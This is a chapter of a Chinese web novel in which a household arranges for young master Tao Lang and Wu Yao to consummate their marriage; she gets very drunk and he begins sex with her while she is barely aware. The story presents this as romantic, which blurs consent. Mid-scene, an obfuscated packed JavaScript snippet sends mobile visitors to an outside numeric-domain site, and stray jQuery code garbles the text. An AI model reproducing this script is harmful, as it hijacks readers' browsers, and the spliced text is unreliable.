伍瑶本想回自己院子,却被陶夫人身边的丫鬟一把拦住,不由分说引着她往另一条路走去。


    待行至一处陌生院落门前,她惊愕地发现,那日绣着满池娇的门帘,此刻正高挂在厢房门口,红艳艳的煞是喜庆!


    啊这。


    领路的丫鬟一边解释,一边径直将伍瑶引入内室。


    原来那日陶夫人刚处理完商行账目,正倚在暖阁的软榻上小憩。大丫鬟进来禀报说,这几日常看见少爷往伍瑶院子里跑,两人总是凑在一处嘀嘀咕咕,也不知在说些什么,只瞧见少爷脸上总挂着笑。


    陶夫人听罢,不由轻叹:“看来朗儿还挺喜欢她。”


    说到此处,陶夫人望着窗外将圆的明月,突然想起什么似的转头问道:“少爷是不是至今还未与伍氏圆房?”


    在得到丫鬟否定的回答后,便有了今日这一出。


    伍瑶:虽迟但到。


    屋内红烛高照,大红锦被铺得整整齐齐,两个丫鬟二话不说就上前替她更衣。


    另有几个丫鬟伺候着重新沐浴,最后换上一身轻薄的红色纱衣。


    梳头的丫鬟手法利落,只将她乌黑的长发松松挽起,未添多余首饰。


    待收拾停当,丫鬟们便将她引至床畔坐下,躬身道:“奴婢们告退。”


    说完就退下了。


    待陶朗一脸诧异地踏入自己院中,不过随意吩咐小厮稍作收拾,推门却见伍瑶正端坐床沿。


    两人四目相对,俱是一怔。


    “我发现你倒是挺上进的。”陶朗口气慵懒,又含着一抹无可奈何。


    “帮我娘劝我读书不说,现在还听话地来爬床了?她给你开双份工钱吗?”


    工钱?对啊,她有工钱拿吗?


    “……我能有工钱?”


    “有啊,表现好的话,还能给你加薪。”


    表现好什么……今晚的事?


    烛光摇曳间,两人目光相接,伍瑶想到接下来要发生的事,又不自在地别过脸去。


    陶朗只看着她笑。


    有个丫鬟从外面端进来一壶酒和两碟小点心,那点心一看就是虚晃一枪,重点是那壶酒。


    丫鬟说是夫人让送来的。


    还说这是陶府新酿的果酒,味道很好,请少爷和姑娘尝尝。


    伍瑶给自己倒了杯酒。


    这具身体还是第一次,待会儿必然会很疼。


    她打算多喝几杯,最好能醉得不省人事,这样大概就感觉不到疼了。


    可她刚抿了一口,就发现陶朗正盯着她看。


    伍瑶有点不好意思,“你喝吗?”她放下酒杯,拿起酒壶想给他也倒上。


    她心想,刚才是她太着急了,应该先给少爷倒酒的。只是看他那副样子,便给忽略了。


    陶朗却按住了她的手。


    他直接拿起她喝过的那杯酒,仰头一饮而尽。


    “……”


    陶朗喝完那杯,又将自己的酒杯斟满,先浅尝一口,再递给伍瑶。


    伍瑶不情不愿地接过,皱着眉头一口闷了。


    发现这酒甜滋滋的,丝毫没有上头的感觉,想着古代酿酒技术可能不过关,度数应该高不到哪去。她又给自己倒了一杯,双手捧着慢慢啜饮。


    渐渐地,眼前的人影开始分裂成三四个。她不满地撂下酒杯,双手捧住陶朗的脸:“怎么变这么多个?我都看不清了!”


    两人的额头不经意间轻轻抵着,眸光在一瞬间交汇,又各自闪开!


    她心跳如擂,酒液顺着喉咙烧灼而下,伍瑶偷偷吐了吐舌头,只觉得有些头昏,连屋里的丫鬟什么时候被打发走的都不知道。


    然后,她就彻底醉了。


    “你醉了,伍瑶。”是叫这个名字没错吧?


    她晃了晃脑袋,发现屋里只剩他们两人,小声嘟囔:“我好饿!”


    说着就要下床找吃的。有人扶住她摇晃的身子,她困惑地望着眼前俊美的面孔:“你也饿了?”


    陶朗一双眉高高挑着,仍扶着她到八仙桌前坐下。


    “我不饿,你吃就好。”


    她咯咯笑起来,小手忽地攀上他的额头,发觉自己掌心比他还要滚烫,想来自己是有些醺醺然了!


    她突然揪住他的衣襟,另一手指着自己鼻尖:“既然不饿,你给我坐好!老师、老师要上课了!”说着就要把他按到床上,不料他比她想象中沉得多,反倒自己一个踉跄跌进他怀里,两人一起栽倒在锦被上。


    “上什么课?”他慢条斯理地扯下她发间缎带,任由青丝如瀑散落,低声问道。


    “嗯……”她双肘撑在他胸膛上,托着腮帮子,“今天该讲什么来着……”


    她嘻嘻一笑,一手在他脸上画圈圈。


    一定是有什么地方不对劲。


    陶朗凝神想了会,却也不急着弄明白,一个翻身将她压在身下,邪气地睨着她迷蒙的醉眼:“你要给我上课,你可知这夜里能上的是什么课?”


    陶朗凝视着她,心中好奇越发浓烈,怎么也忘不了方才那一瞬的悸动。


    她像乖学生似的点头,杏眼睁得圆圆的。


    “那你可要好好教我了。”他忍不住轻吻了下她的小嘴,爱极了她这般天真神情。


    “闭上眼睛。”陶朗道。


    见她果真乖乖闭眼,他笑出来,将她那乱动的小手高举过头,一手悄悄解开她衣襟,惊讶地发现她竟生得玲珑有致。


    而且……身段也好,触感也罢……


    陶朗意动。


    至此,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094109|179723||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这场云雨还算得上和谐。


    他放下床帐,将二人笼在红绡帐里。


    “你刚才吃了什么?”


    “你尝尝。”他声音含糊。


    “甜的。糕饼?”


    “嗯。”


    ……


    然而下一秒,伍瑶突然感到一阵剧痛,大脑还未反应过来,身体已经本能地抬脚踹向那个带给她疼痛的人。


    “砰!”


    陶朗跌坐在地,脸上的红潮尚未褪去,眼中罕见地浮现出一丝茫然。


    其实陶朗身手并不差,若是平日,以伍瑶这样的力道根本不可能踹到他。


    只是方才他太过专注,这才猝不及防。


    “你!”陶朗很快回过神,阴沉着脸看向床上。饶是他平日脾气再好,此刻也难以完全压抑怒火,胸膛剧烈起伏着,仿佛随时能喷出火来。


    可床上那人醉得正酣,浑然不觉有何不妥,一脸天真地呼呼大睡。


    陶朗的目光中不禁多了几分复杂。


    就在他确认自己没被踹出毛病,犹豫着要不要继续时——


    外间一声谨慎的“少爷”,将他从这诡异的气氛中拉了出来。


    说话的是陶朗的贴身小厮,从他光着屁股满院子跑时就跟着伺候,算来已有十余年了。


    “什么事?”


    “少爷,老爷读书晕倒了!”


    陶朗长舒一口气,胸中郁结的闷气总算消散几分,“去正房看看。”


    正房内。


    陶老爷苏醒后,竟又捧起了书卷。


    陶朗看到自己的父亲,心中暗自焦灼。


    他想说别读了,您马上要考的是院试,好歹做几篇八股文练练破题啊。


    照父亲这般“头悬梁、锥刺股”的架势,能高中才怪了!


    更别提他爹打得还是江浙地区的地狱级难度科举副本——


    陶家地处苏州城。


    自古以来,江浙学子的辛酸血泪,真是说上三天三夜也道不尽。


    读完书的陶老爷揉着太阳穴,这才发现屋子来探病的儿子,不好意思地解释自己无碍,只是晚膳用多了,晕碳了。


    迎上儿子的目光,又沾沾自喜道:“朗儿你瞧,为父既努力,又聪慧。刚才我晕倒的时候还梦见你祖父了,他托梦告诉为父了,为父这次指定能中!”


    陶朗:“……”


    这就是学渣的错觉吗?


    当真可怕。


    见父亲无碍,陶朗也懒得接话,转身欲走。


    被无视的陶老爷委屈巴巴地望向妻子:“我怎么觉得,朗儿现在越发不待见我了,连爹都不叫了。”


    陶夫人一脸无奈:“你这晕的也太不是时候。”


    “啊??……啊!”陶大这才反应过来。